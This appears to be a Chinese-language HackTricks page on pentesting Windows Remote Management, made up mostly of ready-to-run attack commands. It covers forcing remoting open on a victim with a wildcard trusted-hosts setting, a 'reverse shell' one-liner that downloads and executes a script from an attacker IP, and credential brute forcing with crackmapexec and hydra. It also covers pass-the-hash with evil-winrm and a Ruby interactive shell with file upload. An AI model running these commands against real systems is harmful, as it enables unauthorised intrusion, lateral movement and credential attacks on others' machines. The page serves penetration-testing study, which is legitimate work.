14 KiB
5985,5986 - 渗透测试 WinRM
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFT收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm 上关注我。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!
黑客见解
参与深入探讨黑客的刺激和挑战的内容
实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界
最新公告
随时了解最新的赏金计划发布和重要平台更新
加入我们的 Discord,立即与顶尖黑客合作!
WinRM
Windows 远程管理(WinRM)是微软的协议,允许使用 SOAP 在 HTTP(S) 上远程管理 Windows 机器。在后端,它利用 WMI,因此您可以将其视为基于 HTTP 的 WMI API。
如果在计算机上启用了 WinRM,则可以轻松地从 PowerShell 远程管理计算机。实际上,您可以像使用 SSH 一样直接进入计算机上的远程 PowerShell 会话!
检测 WinRM 是否可用的最简单方法是查看端口是否打开。WinRM 将监听以下两个端口:
- 5985/tcp(HTTP)
- 5986/tcp(HTTPS)
如果其中一个端口打开,表示 WinRM 已配置,您可以尝试进入远程会话。
启动 WinRM 会话。
我们可以配置 PowerShell 与 WinRM 一起工作。根据 Microsoft 文档,Enable-PSRemoting 是一个配置计算机接收 PowerShell 远程命令的 cmdlet。如果我们可以在受害者的提升的 PowerShell 提示符上访问,我们可以启用它并将任何“攻击者”添加为受信任的主机。我们可以运行以下两个命令:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
这将通配符添加到trustedhosts设置中。要注意这意味着什么。 注意:我还必须将攻击机器上的网络类型从"Public"更改为"Work"网络。
您还可以远程使用_wmic_激活WinRM:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
测试是否已配置
一旦攻击机器配置完成,使用Test-WSMan
函数来测试目标是否已配置为WinRM。您应该会看到有关协议版本和wsmid的一些返回信息:
在这种情况下,第一个已配置,第二个未配置。
执行命令
现在我们可以使用PowerShell的Invoke-Command
在目标上通过WinRM远程执行命令。要远程运行ipconfig
并查看输出:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
您还可以通过Invoke-Command执行当前PS控制台的命令。假设您本地有一个名为enumeration的函数,并且您想在远程计算机上执行它,您可以执行以下操作:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
执行脚本
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
获取反向Shell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
获取一个PS会话
或者,如果你想直接进入一个交互式PowerShell会话,可以使用Enter-PSSession
函数:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
会话将在“受害者”内的新进程(wsmprovhost)中运行
强制打开 WinRM
如果您真的想要使用 PS Remoting 和 WinRM,但目标没有为此进行配置,您可以通过一个命令“强制”打开它。我不建议这样做,但如果您真的想要使用 WinRM 或 PSRemoting,那么尽管这样做。例如,使用 PSExec:
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
现在我们可以在受害者上进入远程PS会话。
保存和恢复会话
如果远程计算机中的语言受限,这将无法工作。
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
在这些会话中,您可以使用_Invoke-Command_加载PS脚本。
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
错误
如果你遇到以下错误:
enter-pssession : 连接到远程服务器 10.10.10.175 失败,并显示以下错误信息:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或将目标机器添加到 TrustedHosts 配置设置中。请使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。
在客户端尝试(信息来自这里):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
加入HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!
黑客见解
参与深入探讨黑客行为的刺激和挑战的内容
实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界
最新公告
了解最新的赏金任务发布和重要平台更新
加入我们的 Discord 并开始与顶尖黑客合作!
在Linux中建立WinRM连接
暴力破解
请注意,暴力破解WinRM可能会阻止用户。
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
使用 evil-winrm
gem install evil-winrm
阅读其 文档 在其 github 上: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
要使用 evil-winrm 连接到一个 IPv6 地址,在 /etc/hosts 中创建一个条目,将一个域名设置为该 IPv6 地址,并连接到该域名。
使用 evil-winrm 传递哈希
evil-winrm -u <username> -H <Hash> -i <IP>
使用PS-docker机器
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
使用ruby脚本
代码提取自这里:https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
References
HackTricks 自动命令
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!
黑客见解
参与深入探讨黑客的刺激和挑战的内容
实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界
最新公告
了解最新的赏金任务发布和重要平台更新
加入我们的 Discord ,立即与顶尖黑客合作!
从零开始学习AWS黑客技术,成为英雄,使用 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF版本的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。